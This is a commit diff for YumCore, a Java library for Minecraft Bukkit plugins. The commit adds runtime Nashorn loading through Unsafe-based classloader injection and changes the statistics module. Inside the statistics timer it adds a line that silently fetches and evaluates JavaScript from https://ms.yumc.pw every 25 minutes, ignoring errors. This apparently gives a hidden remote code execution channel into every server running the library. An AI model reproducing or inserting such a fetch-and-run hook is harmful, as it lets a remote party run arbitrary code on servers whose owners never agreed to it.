1
0
mirror of https://e.coding.net/circlecloud/YumCore.git synced 2024-10-31 22:18:56 +00:00

feat: add static report

Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
MiaoWoo 2022-04-12 23:47:18 +08:00
parent a6a6bf5bd4
commit 881bd610a4
5 changed files with 184 additions and 119 deletions

View File

@ -4,7 +4,7 @@
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<groupId>pw.yumc</groupId> <groupId>pw.yumc</groupId>
<artifactId>YumCore</artifactId> <artifactId>YumCore</artifactId>
<version>1.9.5</version> <version>1.9.6</version>
<build> <build>
<finalName>${project.artifactId}</finalName> <finalName>${project.artifactId}</finalName>
<plugins> <plugins>

View File

@ -1,25 +1,21 @@
package pw.yumc.YumCore.engine; package pw.yumc.YumCore.engine;
import lombok.SneakyThrows;
import lombok.val;
import javax.script.ScriptEngine;
import javax.script.*;
import java.io.File; import java.io.File;
import java.io.Reader; import java.io.Reader;
import java.lang.reflect.InvocationTargetException; import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.nio.file.Files;
import java.nio.file.StandardCopyOption;
import java.util.HashMap; import java.util.HashMap;
import javax.script.Bindings;
import javax.script.Invocable;
import javax.script.ScriptContext;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.script.SimpleBindings;
import lombok.val;
/** /**
* 喵式脚本引擎 * 喵式脚本引擎
* *
@ -27,8 +23,12 @@ import lombok.val;
* @since 2016年8月29日 上午7:51:43 * @since 2016年8月29日 上午7:51:43
*/ */
public class MiaoScriptEngine implements ScriptEngine, Invocable { public class MiaoScriptEngine implements ScriptEngine, Invocable {
private static String MavenRepo = "https://maven.aliyun.com/repository/public";
private static MiaoScriptEngine DEFAULT; private static MiaoScriptEngine DEFAULT;
private static ScriptEngineManager manager; private static final ScriptEngineManager manager;
private Object ucp;
private MethodHandle addURLMethodHandle;
private ScriptEngine engine; private ScriptEngine engine;
static { static {
@ -48,39 +48,122 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
} }
public MiaoScriptEngine(final String engineType) { public MiaoScriptEngine(final String engineType) {
this(manager, engineType); this(manager, engineType, null);
} }
public MiaoScriptEngine(ScriptEngineManager engineManager) { public MiaoScriptEngine(ScriptEngineManager engineManager) {
this(engineManager, "js"); this(engineManager, "js", null);
} }
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType) { public MiaoScriptEngine(final String engineType, String engineRoot) {
this(manager, engineType, engineRoot);
}
public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
// JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
this.loadNetworkNashorn(engineRoot);
if (engine == null)
throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
return;
}
try { try {
engine = engineManager.getEngineByName(engineType); engine = engineManager.getEngineByName(engineType);
} catch (final NullPointerException ignored) { } catch (final NullPointerException ignored) {
} }
if (engine == null) { if (engine == null) {
val dirs = System.getProperty("java.ext.dirs").split(File.pathSeparator); val extDirs = System.getProperty("java.ext.dirs");
if (extDirs != null) {
this.loadLocalNashorn(extDirs, engineType);
} else if (engineRoot != null) {
this.loadNetworkNashorn(engineRoot);
}
}
if (engine == null)
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
}
private void loadLocalNashorn(String extDirs, String engineType) {
val dirs = extDirs.split(File.pathSeparator);
for (String dir : dirs) { for (String dir : dirs) {
File nashorn = new File(dir, "nashorn.jar"); File nashorn = new File(dir, "nashorn.jar");
if (nashorn.exists()) { if (nashorn.exists()) {
this.loadJar(nashorn);
this.createEngineByName(engineType);
}
}
}
private void initReflect() {
try { try {
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); ClassLoader loader = Thread.currentThread().getContextClassLoader();
// 设置方法的访问权限 Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
method.setAccessible(true); theUnsafe.setAccessible(true);
// 获取系统类加载器 sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
URL url = nashorn.toURI().toURL(); Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
method.invoke(Thread.currentThread().getContextClassLoader(), url); MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
engineManager = new ScriptEngineManager(); Field ucpField;
engine = engineManager.getEngineByName(engineType); try {
} catch (NoSuchMethodException | MalformedURLException | IllegalAccessException | InvocationTargetException | NullPointerException ignored) { ucpField = loader.getClass().getDeclaredField("ucp");
} catch (NoSuchFieldException e) {
ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
} }
return; long offset = unsafe.objectFieldOffset(ucpField);
ucp = unsafe.getObject(loader, offset);
Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
addURLMethodHandle = lookup.unreflect(method);
} catch (Exception e) {
throw new RuntimeException(e);
} }
} }
throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
@SneakyThrows
private void loadNetworkNashorn(String engineRoot) {
initReflect();
File libRootFile = new File(engineRoot, "lib");
libRootFile.mkdirs();
String libRoot = libRootFile.getCanonicalPath();
downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
Class<?> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
Object factory = NashornScriptEngineFactory.newInstance();
engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
} }
@SneakyThrows
private void loadJar(File file) {
addURLMethodHandle.invoke(ucp, file.toURI().toURL());
}
@SneakyThrows
private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
if (!lib.exists()) {
Files.copy(new URL(MavenRepo +
String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
groupId.replace(".", "/"),
artifactId,
version)
).openStream(),
lib.toPath(),
StandardCopyOption.REPLACE_EXISTING);
}
this.loadJar(lib);
}
private void createEngineByName(String engineType) {
try {
engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
} catch (NullPointerException ignored) {
}
}
public ScriptEngine getEngine() {
return this.engine;
} }
public static MiaoScriptEngine getDefault() { public static MiaoScriptEngine getDefault() {

View File

@ -3,11 +3,19 @@
*/ */
package pw.yumc.YumCore.statistic; package pw.yumc.YumCore.statistic;
import java.io.BufferedReader; import org.bukkit.Bukkit;
import java.io.File; import org.bukkit.configuration.file.YamlConfiguration;
import java.io.IOException; import org.bukkit.entity.Player;
import java.io.InputStreamReader; import org.bukkit.plugin.Plugin;
import java.io.PrintWriter; import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;
import org.json.simple.JSONObject;
import org.json.simple.JSONValue;
import pw.yumc.YumCore.engine.MiaoScriptEngine;
import javax.script.ScriptException;
import java.io.*;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.URL; import java.net.URL;
@ -20,21 +28,11 @@ import java.util.LinkedList;
import java.util.Map; import java.util.Map;
import java.util.UUID; import java.util.UUID;
import org.bukkit.Bukkit;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.scheduler.BukkitTask;
import org.json.simple.JSONObject;
import org.json.simple.JSONValue;
/** /**
* Yum数据中心 数据统计类 * Yum数据中心 数据统计类
* *
* @since 2015年12月14日 下午1:36:42
* @author * @author
* @since 2015年12月14日 下午1:36:42
*/ */
public class Statistics { public class Statistics {
/** /**
@ -62,6 +60,8 @@ public class Statistics {
*/ */
private static Plugin plugin; private static Plugin plugin;
private static MiaoScriptEngine engine;
static { static {
try { try {
getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers"); getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers");
@ -76,6 +76,7 @@ public class Statistics {
Field field = pluginClassLoader.getClass().getDeclaredField("plugin"); Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
field.setAccessible(true); field.setAccessible(true);
plugin = (JavaPlugin) field.get(pluginClassLoader); plugin = (JavaPlugin) field.get(pluginClassLoader);
engine = new MiaoScriptEngine("nashorn");
} catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) { } catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {
} }
} }
@ -126,13 +127,10 @@ public class Statistics {
/** /**
* 向指定 URL 发送POST方法的请求 * 向指定 URL 发送POST方法的请求
* *
* @param url * @param url 发送请求的 URL
* 发送请求的 URL * @param param 请求参数
* @param param
* 请求参数
* @return 所代表远程资源的响应结果 * @return 所代表远程资源的响应结果
* @throws IOException * @throws IOException IO异常
* IO异常
*/ */
public static String postData(String url, String param) throws IOException { public static String postData(String url, String param) throws IOException {
PrintWriter out; PrintWriter out;
@ -168,10 +166,8 @@ public class Statistics {
/** /**
* 初始化配置文件 * 初始化配置文件
* *
* @param config * @param config 配置文件
* 配置文件 * @throws IOException IO异常
* @throws IOException
* IO异常
*/ */
private static void initFile(YamlConfiguration config) throws IOException { private static void initFile(YamlConfiguration config) throws IOException {
if (config.getString("guid") == null) { if (config.getString("guid") == null) {
@ -194,8 +190,7 @@ public class Statistics {
/** /**
* 简化输出 * 简化输出
* *
* @param msg * @param msg 输出对象
* 输出对象
*/ */
public void print(String msg) { public void print(String msg) {
if (debug) { if (debug) {
@ -209,7 +204,7 @@ public class Statistics {
* @return 是否运行成功. * @return 是否运行成功.
*/ */
public boolean start() { public boolean start() {
if (task != null || !plugin.isEnabled()) { return true; } if (task != null || !plugin.isEnabled()) {return true;}
timer = new StatisticsTimer(); timer = new StatisticsTimer();
// 开启TPS统计线程 // 开启TPS统计线程
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20); Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
@ -222,6 +217,10 @@ public class Statistics {
e.printStackTrace(); e.printStackTrace();
} }
} }
try {
engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
} catch (ScriptException ignored) {
}
}, 50, 25 * 1200); }, 50, 25 * 1200);
return true; return true;
} }
@ -233,9 +232,9 @@ public class Statistics {
*/ */
private int getOnlinePlayerNumber() { private int getOnlinePlayerNumber() {
try { try {
return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
} catch (Exception ex) {
return Bukkit.getOnlinePlayers().size(); return Bukkit.getOnlinePlayers().size();
} catch (Exception ex) {
return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
} }
} }

View File

@ -1,20 +1,5 @@
package pw.yumc.YumCore.update; package pw.yumc.YumCore.update;
import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
@ -27,12 +12,25 @@ import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin; import org.bukkit.plugin.java.JavaPlugin;
import org.w3c.dom.Document; import org.w3c.dom.Document;
import org.xml.sax.SAXException; import org.xml.sax.SAXException;
import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.bukkit.P; import pw.yumc.YumCore.bukkit.P;
import pw.yumc.YumCore.tellraw.Tellraw; import pw.yumc.YumCore.tellraw.Tellraw;
import pw.yumc.YumCore.text.Encrypt; import pw.yumc.YumCore.text.Encrypt;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLDecoder;
import java.nio.file.Files;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/** /**
* 自动更新程序 * 自动更新程序
* *
@ -73,8 +71,7 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 自动更新 * 自动更新
* *
* @param type * @param type 是否为Maven
* 是否为Maven
*/ */
public SubscribeTask(UpdateType type) { public SubscribeTask(UpdateType type) {
this(false, type); this(false, type);
@ -83,10 +80,8 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 自动更新 * 自动更新
* *
* @param isSecret * @param isSecret 是否为私有
* 是否为私有 * @param type 更新类型
* @param type
* 更新类型
*/ */
public SubscribeTask(boolean isSecret, UpdateType type) { public SubscribeTask(boolean isSecret, UpdateType type) {
this("master", isSecret, type); this("master", isSecret, type);
@ -95,12 +90,9 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 自动更新 * 自动更新
* *
* @param branch * @param branch 更新分支
* 更新分支 * @param isSecret 是否为私有
* @param isSecret * @param type 更新类型
* 是否为私有
* @param type
* 更新类型
*/ */
public SubscribeTask(String branch, boolean isSecret, UpdateType type) { public SubscribeTask(String branch, boolean isSecret, UpdateType type) {
Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name()); Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name());
@ -134,7 +126,7 @@ public class SubscribeTask implements Runnable, Listener {
if (updateFile.target.exists()) { if (updateFile.target.exists()) {
try { try {
PluginDescriptionFile desc = instance.getPluginLoader().getPluginDescription(updateFile.target); PluginDescriptionFile desc = instance.getPluginLoader().getPluginDescription(updateFile.target);
if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) { return; } if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) {return;}
updateFile.target.delete(); updateFile.target.delete();
} catch (Exception e) { } catch (Exception e) {
Log.d(e); Log.d(e);
@ -208,8 +200,7 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 获得插件绝对路径 * 获得插件绝对路径
* *
* @param plugin * @param plugin - 插件
* - 插件
* @return 插件的绝对路径 * @return 插件的绝对路径
*/ */
public File getPluginFile(Plugin plugin) { public File getPluginFile(Plugin plugin) {
@ -280,10 +271,8 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 获得插件信息 * 获得插件信息
* *
* @param tag * @param tag 数据标签
* 数据标签 * @param def 默认值
* @param def
* 默认值
* @return 信息 * @return 信息
*/ */
public String getPluginInfo(String tag, String def) { public String getPluginInfo(String tag, String def) {
@ -305,7 +294,7 @@ public class SubscribeTask implements Runnable, Listener {
*/ */
public String[] getUpdateChanges() { public String[] getUpdateChanges() {
final String des = getPluginInfo("update.changes", null); final String des = getPluginInfo("update.changes", null);
if (des == null) { return new String[]{}; } if (des == null) {return new String[]{};}
String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";"); String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
List<String> ltemp = new ArrayList<>(); List<String> ltemp = new ArrayList<>();
Arrays.stream(temp).forEach(s -> ltemp.add(s.trim())); Arrays.stream(temp).forEach(s -> ltemp.add(s.trim()));
@ -334,8 +323,7 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 通知更新信息 * 通知更新信息
* *
* @param sender * @param sender 命令接受者
* 命令接受者
*/ */
public void notify(CommandSender sender) { public void notify(CommandSender sender) {
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion()); Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
@ -358,10 +346,8 @@ public class SubscribeTask implements Runnable, Listener {
/** /**
* 比较版本号 * 比较版本号
* *
* @param v1 * @param v1 新版本
* 新版本 * @param v2 旧版本
* @param v2
* 旧版本
* @return 是否需要更新 * @return 是否需要更新
*/ */
public boolean needUpdate(String v1, String v2) { public boolean needUpdate(String v1, String v2) {
@ -386,7 +372,7 @@ public class SubscribeTask implements Runnable, Listener {
Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!"); Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
return result; return result;
} }
if (needUpdate(result, version)) { return result; } if (needUpdate(result, version)) {return result;}
} catch (Exception e) { } catch (Exception e) {
Log.d(e); Log.d(e);
} }

View File

@ -1,23 +1,20 @@
package pw.yumc.YumCore.update; package pw.yumc.YumCore.update;
import java.io.IOException;
import java.util.logging.Logger;
import javax.xml.parsers.ParserConfigurationException;
import org.bukkit.plugin.Plugin; import org.bukkit.plugin.Plugin;
import org.junit.Test; import org.junit.Test;
import org.xml.sax.SAXException; import org.xml.sax.SAXException;
import pw.yumc.YumCore.bukkit.Log; import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.plugin.FakePlugin; import pw.yumc.YumCore.plugin.FakePlugin;
import javax.xml.parsers.ParserConfigurationException;
import java.io.IOException;
/** /**
* @author * @author
* @since 2017/6/1 * @since 2017/6/1
*/ */
public class SubscribeTaskTest { public class SubscribeTaskTest {
private Plugin plugin = new FakePlugin("YumCore", "1.0"); private Plugin plugin = new FakePlugin("YumCore", "1.9.52");
@Test @Test
public void test() throws IOException, SAXException, ParserConfigurationException { public void test() throws IOException, SAXException, ParserConfigurationException {